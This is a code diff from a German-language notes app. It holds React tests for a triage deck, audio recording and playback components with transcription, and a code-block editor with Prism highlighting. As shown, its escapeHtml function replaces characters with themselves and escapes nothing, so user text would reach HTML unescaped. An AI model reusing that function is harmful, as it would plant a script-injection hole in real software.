expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
|
||||
convertTo: 'list_item',
|
||||
targetListId: 'lst_own',
|
||||
dueDate: undefined,
|
||||
});
|
||||
expect(onDeckChange).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
expect(screen.queryByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeNull();
|
||||
});
|
||||
|
||||
it('opens the list selector when two writable lists exist instead of assigning directly', () => {
|
||||
const onDeckChange = vi.fn();
|
||||
|
||||
render(
|
||||
<TriageDeck
|
||||
deck={sampleDeck}
|
||||
lists={[ownList, secondEditableList]}
|
||||
onDeckChange={onDeckChange}
|
||||
onOpenDocument={vi.fn()}
|
||||
onFocusCapture={vi.fn()}
|
||||
/>
|
||||
);
|
||||
|
||||
const btn = screen.getByRole('button', { name: /^Auf Liste$/i });
|
||||
fireEvent.click(btn);
|
||||
|
||||
expect(api.triageAction).not.toHaveBeenCalled();
|
||||
expect(onDeckChange).not.toHaveBeenCalled();
|
||||
expect(screen.getByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeTruthy();
|
||||
expect(screen.getByRole('button', { name: /Wocheneinkauf/i })).toBeTruthy();
|
||||
expect(screen.getByRole('button', { name: /Baumarkt/i })).toBeTruthy();
|
||||
});
|
||||
|
||||
it('treats one own list and one viewer-only shared list as a single writable list', async () => {
|
||||
const onDeckChange = vi.fn();
|
||||
|
||||
render(
|
||||
<TriageDeck
|
||||
deck={sampleDeck}
|
||||
lists={[viewerList, ownList]}
|
||||
onDeckChange={onDeckChange}
|
||||
onOpenDocument={vi.fn()}
|
||||
onFocusCapture={vi.fn()}
|
||||
/>
|
||||
);
|
||||
|
||||
const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
|
||||
fireEvent.click(btn);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
|
||||
convertTo: 'list_item',
|
||||
targetListId: 'lst_own',
|
||||
dueDate: undefined,
|
||||
});
|
||||
expect(onDeckChange).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
});
|
||||
|
||||
it('disables the list button when no writable list exists', () => {
|
||||
const onDeckChange = vi.fn();
|
||||
|
||||
render(
|
||||
<TriageDeck
|
||||
deck={sampleDeck}
|
||||
lists={[viewerList]}
|
||||
onDeckChange={onDeckChange}
|
||||
onOpenDocument={vi.fn()}
|
||||
onFocusCapture={vi.fn()}
|
||||
/>
|
||||
);
|
||||
|
||||
const btn = screen.getByRole('button', { name: /^Auf Liste$/i }) as HTMLButtonElement;
|
||||
expect(btn.disabled).toBe(true);
|
||||
expect(btn.title).toBe('Keine Liste vorhanden');
|
||||
|
||||
fireEvent.click(btn);
|
||||
expect(api.triageAction).not.toHaveBeenCalled();
|
||||
expect(onDeckChange).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,136 @@
|
||||
import React, { useEffect, useRef, useState } from 'react';
|
||||
import { FileAudio, Loader2, Wand2 } from 'lucide-react';
|
||||
import { api } from '../../lib/api';
|
||||
import { mediaBlob, mediaObjectURL, parseMediaContent } from '../../lib/media';
|
||||
import { loadVoiceConfig } from '../../lib/voice';
|
||||
|
||||
interface AudioBlockProps {
|
||||
content: string;
|
||||
canEdit: boolean;
|
||||
onCaptionChange: (caption: string) => void;
|
||||
}
|
||||
|
||||
// Audio block: player plus caption. With the own Whisper server the recording can be turned into text,
|
||||
// which becomes the caption (and so searchable).
|
||||
export const AudioBlock: React.FC<AudioBlockProps> = ({ content, canEdit, onCaptionChange }) => {
|
||||
const ref = parseMediaContent(content);
|
||||
const mediaId = ref?.id;
|
||||
const [src, setSrc] = useState<string | null>(null);
|
||||
const [failed, setFailed] = useState(false);
|
||||
const [caption, setCaption] = useState(ref?.caption || '');
|
||||
const [canTranscribe, setCanTranscribe] = useState(false);
|
||||
const [transcribing, setTranscribing] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const audioRef = useRef<HTMLAudioElement>(null);
|
||||
|
||||
// Recordings from Chrome (WebM) carry no length: jump to the end once so the browser measures it,
|
||||
// otherwise the player shows no total time and seeking does not work
|
||||
const fixDuration = () => {
|
||||
const a = audioRef.current;
|
||||
if (!a || Number.isFinite(a.duration)) return;
|
||||
const reset = () => {
|
||||
a.removeEventListener('timeupdate', reset);
|
||||
a.currentTime = 0;
|
||||
};
|
||||
a.addEventListener('timeupdate', reset);
|
||||
a.currentTime = 1e101;
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
setCaption(ref?.caption || '');
|
||||
}, [ref?.caption]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!mediaId) return;
|
||||
let alive = true;
|
||||
setFailed(false);
|
||||
mediaObjectURL(mediaId)
|
||||
.then((u) => alive && setSrc(u))
|
||||
.catch(() => alive && setFailed(true));
|
||||
return () => {
|
||||
alive = false;
|
||||
};
|
||||
}, [mediaId]);
|
||||
|
||||
useEffect(() => {
|
||||
void loadVoiceConfig().then((cfg) => setCanTranscribe(cfg.mode === 'server'));
|
||||
}, []);
|
||||
|
||||
if (!ref) {
|
||||
return <div className="text-xs text-status-err py-1">Audio-Verweis ist beschädigt: {content}</div>;
|
||||
}
|
||||
|
||||
const commitCaption = (value: string) => {
|
||||
if (value.trim() !== ref.caption) onCaptionChange(value.trim());
|
||||
};
|
||||
|
||||
const transcribe = async () => {
|
||||
if (!src) return;
|
||||
setTranscribing(true);
|
||||
setError(null);
|
||||
try {
|
||||
const blob = await mediaBlob(ref.id);
|
||||
const text = await api.transcribe(blob);
|
||||
if (text) {
|
||||
setCaption(text);
|
||||
commitCaption(text);
|
||||
} else {
|
||||
setError('Nichts erkannt');
|
||||
}
|
||||
} catch (err: any) {
|
||||
setError(err?.message || 'Spracherkennung fehlgeschlagen');
|
||||
} finally {
|
||||
setTranscribing(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="my-1 space-y-1">
|
||||
{failed ? (
|
||||
<div className="flex items-center gap-2 h-12 px-3 rounded-card border border-border bg-panel text-xs text-muted">
|
||||
<FileAudio className="w-4 h-4" /> Aufnahme nicht verfügbar (offline oder gelöscht)
|
||||
</div>
|
||||
) : src ? (
|
||||
<div className="flex items-center gap-2">
|
||||
<audio ref={audioRef} controls preload="metadata" src={src} onLoadedMetadata={fixDuration} className="w-full max-w-md h-11" />
|
||||
{canEdit && canTranscribe && (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => void transcribe()}
|
||||
disabled={transcribing}
|
||||
title="In Text umwandeln (eigene Spracherkennung)"
|
||||
className="btn-secondary h-11 sm:h-8 px-2.5 text-xs flex items-center gap-1.5 shrink-0 disabled:opacity-40"
|
||||
>
|
||||
{transcribing ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Wand2 className="w-3.5 h-3.5" />}
|
||||
<span className="hidden sm:inline">{transcribing ? 'Wird erkannt…' : 'Transkribieren'}</span>
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex items-center h-12 px-3 rounded-card border border-border bg-panel w-64">
|
||||
<Loader2 className="w-4 h-4 animate-spin text-muted" />
|
||||
</div>
|
||||
)}
|
||||
|
||||
{canEdit ? (
|
||||
<input
|
||||
type="text"
|
||||
value={caption}
|
||||
onChange={(e) => setCaption(e.target.value)}
|
||||
onBlur={() => commitCaption(caption)}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === 'Enter') {
|
||||
e.preventDefault();
|
||||
(e.target as HTMLInputElement).blur();
|
||||
}
|
||||
}}
|
||||
placeholder="Beschriftung hinzufügen…"
|
||||
className="w-full bg-transparent border-0 p-0 text-xs text-muted placeholder-faint focus:outline-none focus:ring-0"
|
||||
/>
|
||||
) : (
|
||||
ref.caption && <p className="text-xs text-muted">{ref.caption}</p>
|
||||
)}
|
||||
{error && <p className="text-xs text-status-err">{error}</p>}
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,183 @@
|
||||
import React, { useEffect, useRef, useState } from 'react';
|
||||
import { Loader2, Mic, Square, Upload, X } from 'lucide-react';
|
||||
import { UploadedMedia, uploadMedia } from '../../lib/media';
|
||||
import { VoiceRecorder } from '../../lib/voice';
|
||||
import { VoiceWave } from '../../components/VoiceWave';
|
||||
import { triggerHaptic } from '../../lib/api';
|
||||
|
||||
interface AudioRecorderPickerProps {
|
||||
docId: string;
|
||||
onDone: (media: UploadedMedia) => void;
|
||||
onCancel: () => void;
|
||||
}
|
||||
|
||||
const MAX_RECORDING_MS = 30 * 60 * 1000;
|
||||
|
||||
function formatTime(ms: number): string {
|
||||
const s = Math.floor(ms / 1000);
|
||||
return `${Math.floor(s / 60)}:${String(s % 60).padStart(2, '0')}`;
|
||||
}
|
||||
|
||||
// Inline bubble an empty bullet turns into after /audio. Green button = start, red button = stop and
|
||||
// save; the live wave runs left of the red button. An existing audio file can be uploaded instead.
|
||||
export const AudioRecorderPicker: React.FC<AudioRecorderPickerProps> = ({ docId, onDone, onCancel }) => {
|
||||
const [state, setState] = useState<'ready' | 'recording' | 'uploading'>('ready');
|
||||
const [elapsed, setElapsed] = useState(0);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const recorderRef = useRef<VoiceRecorder | null>(null);
|
||||
const startedRef = useRef(0);
|
||||
const tickRef = useRef<number | null>(null);
|
||||
const fileRef = useRef<HTMLInputElement>(null);
|
||||
const boxRef = useRef<HTMLDivElement>(null);
|
||||
|
||||
const stopTicking = () => {
|
||||
if (tickRef.current !== null) window.clearInterval(tickRef.current);
|
||||
tickRef.current = null;
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
boxRef.current?.focus();
|
||||
return () => {
|
||||
stopTicking();
|
||||
recorderRef.current?.cancel();
|
||||
};
|
||||
}, []);
|
||||
|
||||
const upload = async (blob: Blob, name: string) => {
|
||||
setState('uploading');
|
||||
setError(null);
|
||||
try {
|
||||
onDone(await uploadMedia(docId, blob, name));
|
||||
} catch (err: any) {
|
||||
setError(err?.message || 'Hochladen fehlgeschlagen');
|
||||
setState('ready');
|
||||
}
|
||||
};
|
||||
|
||||
const stop = async () => {
|
||||
const rec = recorderRef.current;
|
||||
if (!rec) return;
|
||||
recorderRef.current = null;
|
||||
stopTicking();
|
||||
triggerHaptic(20);
|
||||
const blob = await rec.stop();
|
||||
if (!blob) {
|
||||
setError('Die Aufnahme ist leer');
|
||||
setState('ready');
|
||||
return;
|
||||
}
|
||||
const ext = blob.type.includes('mp4') ? 'm4a' : blob.type.includes('ogg') ? 'ogg' : 'webm';
|
||||
await upload(blob, `sprachnotiz.${ext}`);
|
||||
};
|
||||
|
||||
const start = async () => {
|
||||
setError(null);
|
||||
const rec = new VoiceRecorder();
|
||||
try {
|
||||
await rec.start();
|
||||
} catch {
|
||||
setError('Kein Zugriff auf das Mikrofon (Berechtigung, oder die Seite läuft nicht über HTTPS)');
|
||||
return;
|
||||
}
|
||||
recorderRef.current = rec;
|
||||
startedRef.current = Date.now();
|
||||
setElapsed(0);
|
||||
setState('recording');
|
||||
triggerHaptic([15, 60, 25]);
|
||||
tickRef.current = window.setInterval(() => {
|
||||
const ms = Date.now() - startedRef.current;
|
||||
setElapsed(ms);
|
||||
if (ms >= MAX_RECORDING_MS) void stop();
|
||||
}, 250);
|
||||
};
|
||||
|
||||
const cancel = () => {
|
||||
stopTicking();
|
||||
recorderRef.current?.cancel();
|
||||
recorderRef.current = null;
|
||||
onCancel();
|
||||
};
|
||||
|
||||
return (
|
||||
<div
|
||||
ref={boxRef}
|
||||
tabIndex={-1}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === 'Escape') {
|
||||
e.preventDefault();
|
||||
cancel();
|
||||
}
|
||||
}}
|
||||
className="my-1 inline-flex max-w-full flex-col gap-2 rounded-card border border-border bg-panel-elevated px-3 py-2 focus:outline-none"
|
||||
>
|
||||
<div className="flex items-center gap-3">
|
||||
{state === 'recording' && (
|
||||
<>
|
||||
<span className="text-xs font-mono text-main tabular-nums">{formatTime(elapsed)}</span>
|
||||
<VoiceWave getLevel={() => recorderRef.current?.level() ?? null} bars={11} className="h-6 text-status-err" />
|
||||
</>
|
||||
)}
|
||||
{state === 'ready' && <span className="text-xs text-muted">Sprachnotiz aufnehmen</span>}
|
||||
{state === 'uploading' && (
|
||||
<span className="text-xs text-muted flex items-center gap-1.5">
|
||||
<Loader2 className="w-3.5 h-3.5 animate-spin" /> Wird gespeichert…
|
||||
</span>
|
||||
)}
|
||||
|
||||
{state === 'recording' ? (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => void stop()}
|
||||
title="Aufnahme beenden und speichern"
|
||||
aria-label="Aufnahme beenden und speichern"
|
||||
className="w-14 h-14 sm:w-10 sm:h-10 rounded-full bg-status-err text-on-accent flex items-center justify-center shadow-panel shrink-0"
|
||||
>
|
||||
<Square className="w-5 h-5 sm:w-4 sm:h-4 fill-current" />
|
||||
</button>
|
||||
) : (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => void start()}
|
||||
disabled={state === 'uploading'}
|
||||
title="Aufnahme starten"
|
||||
aria-label="Aufnahme starten"
|
||||
className="w-14 h-14 sm:w-10 sm:h-10 rounded-full bg-status-ok text-on-accent flex items-center justify-center shadow-panel shrink-0 disabled:opacity-40"
|
||||
>
|
||||
<Mic className="w-6 h-6 sm:w-5 sm:h-5" />
|
||||
</button>
|
||||
)}
|
||||
|
||||
{state === 'ready' && (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => fileRef.current?.click()}
|
||||
title="Audiodatei hochladen"
|
||||
className="btn-secondary h-11 sm:h-8 px-3 text-xs flex items-center gap-1.5 shrink-0"
|
||||
>
|
||||
<Upload className="w-3.5 h-3.5" /> <span className="hidden sm:inline">Datei</span>
|
||||
</button>
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
onClick={cancel}
|
||||
disabled={state === 'uploading'}
|
||||
title="Abbrechen (Esc)"
|
||||
className="w-11 h-11 sm:w-7 sm:h-7 flex items-center justify-center rounded-btn text-muted hover:text-main hover:bg-panel shrink-0 disabled:opacity-40"
|
||||
>
|
||||
<X className="w-4 h-4" />
|
||||
</button>
|
||||
</div>
|
||||
{error && <p className="text-xs text-status-err">{error}</p>}
|
||||
<input
|
||||
ref={fileRef}
|
||||
type="file"
|
||||
accept="audio/*"
|
||||
hidden
|
||||
onChange={(e) => {
|
||||
const f = e.target.files?.[0];
|
||||
if (f) void upload(f, f.name || 'audio');
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,669 @@
|
||||
import React, { useState, useEffect, useLayoutEffect, useMemo, useRef, useCallback } from 'react';
|
||||
import Prism from 'prismjs';
|
||||
import { Code, Copy, Check } from 'lucide-react';
|
||||
import { DocumentBlock } from '../../lib/types';
|
||||
|
||||
Prism.manual = true;
|
||||
if (typeof globalThis !== 'undefined') {
|
||||
(globalThis as Record<string, unknown>).Prism = Prism;
|
||||
}
|
||||
|
||||
export interface CodeLanguageOption {
|
||||
id: string;
|
||||
label: string;
|
||||
}
|
||||
|
||||
export interface CodeLanguageGroup {
|
||||
label: string;
|
||||
options: CodeLanguageOption[];
|
||||
}
|
||||
|
||||
export const CODE_LANGUAGE_GROUPS: CodeLanguageGroup[] = [
|
||||
{
|
||||
label: 'Konfiguration & Daten',
|
||||
options: [
|
||||
{ id: 'yaml', label: 'YAML' },
|
||||
{ id: 'json', label: 'JSON' },
|
||||
{ id: 'toml', label: 'TOML' },
|
||||
{ id: 'ini', label: 'INI' },
|
||||
{ id: 'docker', label: 'Dockerfile' },
|
||||
{ id: 'nginx', label: 'Nginx' },
|
||||
{ id: 'hcl', label: 'HCL / Terraform' },
|
||||
{ id: 'xml', label: 'XML' },
|
||||
{ id: 'csv', label: 'CSV' },
|
||||
{ id: 'graphql', label: 'GraphQL' },
|
||||
{ id: 'protobuf', label: 'Protocol Buffers' },
|
||||
],
|
||||
},
|
||||
{
|
||||
label: 'Shell & Betrieb',
|
||||
options: [
|
||||
{ id: 'bash', label: 'Bash / Shell' },
|
||||
{ id: 'powershell', label: 'PowerShell' },
|
||||
{ id: 'makefile', label: 'Makefile' },
|
||||
{ id: 'systemd', label: 'Systemd' },
|
||||
{ id: 'vim', label: 'Vim' },
|
||||
{ id: 'diff', label: 'Diff' },
|
||||
{ id: 'git', label: 'Git' },
|
||||
{ id: 'log', label: 'Log' },
|
||||
],
|
||||
},
|
||||
{
|
||||
label: 'Web & Frontend',
|
||||
options: [
|
||||
{ id: 'javascript', label: 'JavaScript' },
|
||||
{ id: 'typescript', label: 'TypeScript' },
|
||||
{ id: 'jsx', label: 'JSX' },
|
||||
{ id: 'tsx', label: 'TSX' },
|
||||
{ id: 'markup', label: 'HTML / Markup' },
|
||||
{ id: 'html', label: 'HTML' },
|
||||
{ id: 'css', label: 'CSS' },
|
||||
{ id: 'scss', label: 'SCSS' },
|
||||
],
|
||||
},
|
||||
{
|
||||
label: 'Skriptsprachen',
|
||||
options: [
|
||||
{ id: 'python', label: 'Python' },
|
||||
{ id: 'php', label: 'PHP' },
|
||||
{ id: 'ruby', label: 'Ruby' },
|
||||
{ id: 'lua', label: 'Lua' },
|
||||
{ id: 'perl', label: 'Perl' },
|
||||
],
|
||||
},
|
||||
{
|
||||
label: 'System & Backend',
|
||||
options: [
|
||||
{ id: 'go', label: 'Go' },
|
||||
{ id: 'rust', label: 'Rust' },
|
||||
{ id: 'sql', label: 'SQL' },
|
||||
{ id: 'c', label: 'C' },
|
||||
{ id: 'cpp', label: 'C++' },
|
||||
{ id: 'csharp', label: 'C#' },
|
||||
{ id: 'java', label: 'Java' },
|
||||
{ id: 'kotlin', label: 'Kotlin' },
|
||||
{ id: 'swift', label: 'Swift' },
|
||||
{ id: 'dart', label: 'Dart' },
|
||||
{ id: 'zig', label: 'Zig' },
|
||||
{ id: 'elixir', label: 'Elixir' },
|
||||
{ id: 'scala', label: 'Scala' },
|
||||
{ id: 'haskell', label: 'Haskell' },
|
||||
],
|
||||
},
|
||||
{
|
||||
label: 'Dokumentation & Text',
|
||||
options: [
|
||||
{ id: 'markdown', label: 'Markdown' },
|
||||
{ id: 'latex', label: 'LaTeX' },
|
||||
{ id: 'regex', label: 'Regex' },
|
||||
{ id: 'text', label: 'Plain Text' },
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
export const CODE_LANGUAGES: CodeLanguageOption[] = CODE_LANGUAGE_GROUPS.flatMap((g) => g.options);
|
||||
|
||||
const KNOWN_OPTION_IDS = new Set<string>(CODE_LANGUAGES.map((l) => l.id));
|
||||
|
||||
const LANGUAGE_ALIASES: Record<string, string> = {
|
||||
yml: 'yaml',
|
||||
sh: 'bash',
|
||||
shell: 'bash',
|
||||
zsh: 'bash',
|
||||
js: 'javascript',
|
||||
mjs: 'javascript',
|
||||
cjs: 'javascript',
|
||||
ts: 'typescript',
|
||||
mts: 'typescript',
|
||||
cts: 'typescript',
|
||||
py: 'python',
|
||||
rb: 'ruby',
|
||||
rs: 'rust',
|
||||
cs: 'csharp',
|
||||
'c#': 'csharp',
|
||||
dotnet: 'csharp',
|
||||
'c++': 'cpp',
|
||||
cxx: 'cpp',
|
||||
cc: 'cpp',
|
||||
hpp: 'cpp',
|
||||
h: 'c',
|
||||
kt: 'kotlin',
|
||||
kts: 'kotlin',
|
||||
hs: 'haskell',
|
||||
md: 'markdown',
|
||||
tex: 'latex',
|
||||
dockerfile: 'docker',
|
||||
containerfile: 'docker',
|
||||
htm: 'html',
|
||||
svg: 'xml',
|
||||
proto: 'protobuf',
|
||||
ps1: 'powershell',
|
||||
pwsh: 'powershell',
|
||||
make: 'makefile',
|
||||
gql: 'graphql',
|
||||
tf: 'hcl',
|
||||
terraform: 'hcl',
|
||||
ex: 'elixir',
|
||||
exs: 'elixir',
|
||||
pl: 'perl',
|
||||
conf: 'ini',
|
||||
golang: 'go',
|
||||
plaintext: 'text',
|
||||
plain: 'text',
|
||||
txt: 'text',
|
||||
};
|
||||
|
||||
const SHORT_PREFIX_CANDIDATES = new Set<string>([
|
||||
'c',
|
||||
'go',
|
||||
'js',
|
||||
'ts',
|
||||
'sh',
|
||||
'py',
|
||||
'rb',
|
||||
'rs',
|
||||
'cs',
|
||||
'kt',
|
||||
'hs',
|
||||
'md',
|
||||
'ex',
|
||||
'pl',
|
||||
'tf',
|
||||
'tex',
|
||||
'htm',
|
||||
'yml',
|
||||
'doc',
|
||||
'docker',
|
||||
'make',
|
||||
'proto',
|
||||
'plain',
|
||||
]);
|
||||
|
||||
export function resolveLanguageId(raw?: string): string | undefined {
|
||||
if (!raw) return undefined;
|
||||
const key = raw.trim().toLowerCase();
|
||||
if (!key) return undefined;
|
||||
if (KNOWN_OPTION_IDS.has(key)) return key;
|
||||
return LANGUAGE_ALIASES[key];
|
||||
}
|
||||
|
||||
// True when a language token in `/code <lang>` or ````<lang>` cannot be a prefix of another language user is still typing
|
||||
export function isUnambiguousLanguageShortcut(raw?: string): boolean {
|
||||
if (!raw) return false;
|
||||
const key = raw.trim().toLowerCase();
|
||||
if (SHORT_PREFIX_CANDIDATES.has(key)) return false;
|
||||
return Boolean(resolveLanguageId(key));
|
||||
}
|
||||
|
||||
// On-demand loaders for Prism grammars (Vite code-splits each into its own chunk)
|
||||
const PRISM_LOADERS: Record<string, () => Promise<unknown>> = {
|
||||
yaml: () => import('prismjs/components/prism-yaml'),
|
||||
json: () => import('prismjs/components/prism-json'),
|
||||
toml: () => import('prismjs/components/prism-toml'),
|
||||
ini: () => import('prismjs/components/prism-ini'),
|
||||
docker: () => import('prismjs/components/prism-docker'),
|
||||
nginx: () => import('prismjs/components/prism-nginx'),
|
||||
hcl: () => import('prismjs/components/prism-hcl'),
|
||||
csv: () => import('prismjs/components/prism-csv'),
|
||||
graphql: () => import('prismjs/components/prism-graphql'),
|
||||
protobuf: () => import('prismjs/components/prism-protobuf'),
|
||||
bash: () => import('prismjs/components/prism-bash'),
|
||||
powershell: () => import('prismjs/components/prism-powershell'),
|
||||
makefile: () => import('prismjs/components/prism-makefile'),
|
||||
systemd: () => import('prismjs/components/prism-systemd'),
|
||||
vim: () => import('prismjs/components/prism-vim'),
|
||||
diff: () => import('prismjs/components/prism-diff'),
|
||||
git: () => import('prismjs/components/prism-git'),
|
||||
log: () => import('prismjs/components/prism-log'),
|
||||
typescript: () => import('prismjs/components/prism-typescript'),
|
||||
jsx: () => import('prismjs/components/prism-jsx'),
|
||||
tsx: () => import('prismjs/components/prism-tsx'),
|
||||
scss: () => import('prismjs/components/prism-scss'),
|
||||
python: () => import('prismjs/components/prism-python'),
|
||||
'markup-templating': () => import('prismjs/components/prism-markup-templating'),
|
||||
php: () => import('prismjs/components/prism-php'),
|
||||
ruby: () => import('prismjs/components/prism-ruby'),
|
||||
lua: () => import('prismjs/components/prism-lua'),
|
||||
perl: () => import('prismjs/components/prism-perl'),
|
||||
go: () => import('prismjs/components/prism-go'),
|
||||
rust: () => import('prismjs/components/prism-rust'),
|
||||
sql: () => import('prismjs/components/prism-sql'),
|
||||
c: () => import('prismjs/components/prism-c'),
|
||||
cpp: () => import('prismjs/components/prism-cpp'),
|
||||
csharp: () => import('prismjs/components/prism-csharp'),
|
||||
java: () => import('prismjs/components/prism-java'),
|
||||
kotlin: () => import('prismjs/components/prism-kotlin'),
|
||||
swift: () => import('prismjs/components/prism-swift'),
|
||||
dart: () => import('prismjs/components/prism-dart'),
|
||||
zig: () => import('prismjs/components/prism-zig'),
|
||||
elixir: () => import('prismjs/components/prism-elixir'),
|
||||
scala: () => import('prismjs/components/prism-scala'),
|
||||
haskell: () => import('prismjs/components/prism-haskell'),
|
||||
markdown: () => import('prismjs/components/prism-markdown'),
|
||||
latex: () => import('prismjs/components/prism-latex'),
|
||||
regex: () => import('prismjs/components/prism-regex'),
|
||||
};
|
||||
|
||||
// Prerequisite grammars that must be loaded in order before the target grammar
|
||||
const PRISM_DEPENDENCIES: Record<string, string[]> = {
|
||||
tsx: ['jsx', 'typescript'],
|
||||
cpp: ['c'],
|
||||
php: ['markup-templating'],
|
||||
scala: ['java'],
|
||||
};
|
||||
|
||||
const inFlightGrammarLoads = new Map<string, Promise<boolean>>();
|
||||
|
||||
export function toPrismGrammarKey(lang?: string): string {
|
||||
if (!lang) return '';
|
||||
const resolved = resolveLanguageId(lang) || lang.trim().toLowerCase();
|
||||
if (!resolved || resolved === 'text' || resolved === 'plaintext') return '';
|
||||
if (resolved === 'html') return 'markup';
|
||||
return resolved;
|
||||
}
|
||||
|
||||
export async function loadPrismLanguage(lang?: string): Promise<boolean> {
|
||||
const key = toPrismGrammarKey(lang);
|
||||
if (!key) return false;
|
||||
if (Prism.languages[key]) return true;
|
||||
|
||||
const existing = inFlightGrammarLoads.get(key);
|
||||
if (existing) return existing;
|
||||
|
||||
const task = (async () => {
|
||||
try {
|
||||
const deps = PRISM_DEPENDENCIES[key];
|
||||
if (deps) {
|
||||
for (const dep of deps) {
|
||||
if (!Prism.languages[dep]) {
|
||||
await loadPrismLanguage(dep);
|
||||
}
|
||||
}
|
||||
}
|
||||
const loader = PRISM_LOADERS[key];
|
||||
if (loader) {
|
||||
await loader();
|
||||
}
|
||||
return Boolean(Prism.languages[key]);
|
||||
} catch {
|
||||
return false;
|
||||
} finally {
|
||||
inFlightGrammarLoads.delete(key);
|
||||
}
|
||||
})();
|
||||
|
||||
inFlightGrammarLoads.set(key, task);
|
||||
return task;
|
||||
}
|
||||
|
||||
export function escapeHtml(raw: string): string {
|
||||
return raw
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>');
|
||||
}
|
||||
|
||||
export interface CodeBlockEditorProps {
|
||||
block: DocumentBlock;
|
||||
content?: string;
|
||||
canEdit?: boolean;
|
||||
textareaRef?: React.MutableRefObject<HTMLTextAreaElement | null>;
|
||||
registerTextareaRef?: (blockId: string, el: HTMLTextAreaElement | null) => void;
|
||||
onChangeContent?: (content: string) => void;
|
||||
onChangeLang?: (lang: string) => void;
|
||||
onConvertToText?: () => void;
|
||||
handleFocus?: (e: React.FocusEvent<HTMLTextAreaElement>) => void;
|
||||
handleBlur?: (e: React.FocusEvent<HTMLTextAreaElement>) => void;
|
||||
handleContentChange?: (e: React.ChangeEvent<HTMLTextAreaElement>) => void;
|
||||
handleKeyDown?: (e: React.KeyboardEvent<HTMLTextAreaElement>) => void;
|
||||
}
|
||||
|
||||
export const CodeBlockEditor: React.FC<CodeBlockEditorProps> = ({
|
||||
block,
|
||||
content,
|
||||
canEdit = true,
|
||||
textareaRef,
|
||||
registerTextareaRef,
|
||||
onChangeContent,
|
||||
onChangeLang,
|
||||
onConvertToText,
|
||||
handleFocus,
|
||||
handleBlur,
|
||||
handleContentChange,
|
||||
handleKeyDown,
|
||||
}) => {
|
||||
const isControlled = content !== undefined;
|
||||
const [uncontrolledContent, setUncontrolledContent] = useState<string>(block.content || '');
|
||||
const currentContent = isControlled ? content : uncontrolledContent;
|
||||
|
||||
useEffect(() => {
|
||||
if (!isControlled) {
|
||||
setUncontrolledContent(block.content || '');
|
||||
}
|
||||
}, [block.content, isControlled]);
|
||||
|
||||
const [copied, setCopied] = useState(false);
|
||||
const [loadedGrammar, setLoadedGrammar] = useState<string>('');
|
||||
const copyTimerRef = useRef<number | null>(null);
|
||||
const localTextareaRef = useRef<HTMLTextAreaElement | null>(null);
|
||||
const preRef = useRef<HTMLPreElement | null>(null);
|
||||
const lineNumbersRef = useRef<HTMLDivElement | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
return () => {
|
||||
if (copyTimerRef.current !== null) {
|
||||
window.clearTimeout(copyTimerRef.current);
|
||||
}
|
||||
};
|
||||
}, []);
|
||||
|
||||
const prismLang = toPrismGrammarKey(block.lang);
|
||||
|
||||
useEffect(() => {
|
||||
if (!prismLang) return;
|
||||
if (Prism.languages[prismLang]) {
|
||||
setLoadedGrammar(prismLang);
|
||||
return;
|
||||
}
|
||||
let cancelled = false;
|
||||
loadPrismLanguage(prismLang).then((loaded) => {
|
||||
if (!cancelled && loaded) {
|
||||
setLoadedGrammar(prismLang);
|
||||
}
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [prismLang]);
|
||||
|
||||
const highlightedHtml = useMemo(() => {
|
||||
if (!currentContent) return '';
|
||||
const activeLang = prismLang && (Prism.languages[prismLang] || loadedGrammar === prismLang) ? prismLang : '';
|
||||
if (!activeLang) return escapeHtml(currentContent);
|
||||
const grammar = Prism.languages[activeLang];
|
||||
if (!grammar) return escapeHtml(currentContent);
|
||||
try {
|
||||
return Prism.highlight(currentContent, grammar, activeLang);
|
||||
} catch {
|
||||
return escapeHtml(currentContent);
|
||||
}
|
||||
}, [currentContent, prismLang, loadedGrammar]);
|
||||
|
||||
const adjustHeight = useCallback(() => {
|
||||
const el = localTextareaRef.current;
|
||||
if (!el) return;
|
||||
el.style.height = 'auto';
|
||||
el.style.height = `${Math.max(22, el.scrollHeight)}px`;
|
||||
}, []);
|
||||
|
||||
useLayoutEffect(() => {
|
||||
adjustHeight();
|
||||
}, [currentContent, adjustHeight]);
|
||||
|
||||
const handleCopy = (e: React.MouseEvent) => {
|
||||
e.stopPropagation();
|
||||
try {
|
||||
const p = navigator.clipboard?.writeText(currentContent);
|
||||
if (p && typeof p.catch === 'function') {
|
||||
p.catch(() => {});
|
||||
}
|
||||
} catch {
|
||||
// ignore clipboard errors
|
||||
}
|
||||
setCopied(true);
|
||||
if (copyTimerRef.current !== null) {
|
||||
window.clearTimeout(copyTimerRef.current);
|
||||
}
|
||||
copyTimerRef.current = window.setTimeout(() => {
|
||||
copyTimerRef.current = null;
|
||||
setCopied(false);
|
||||
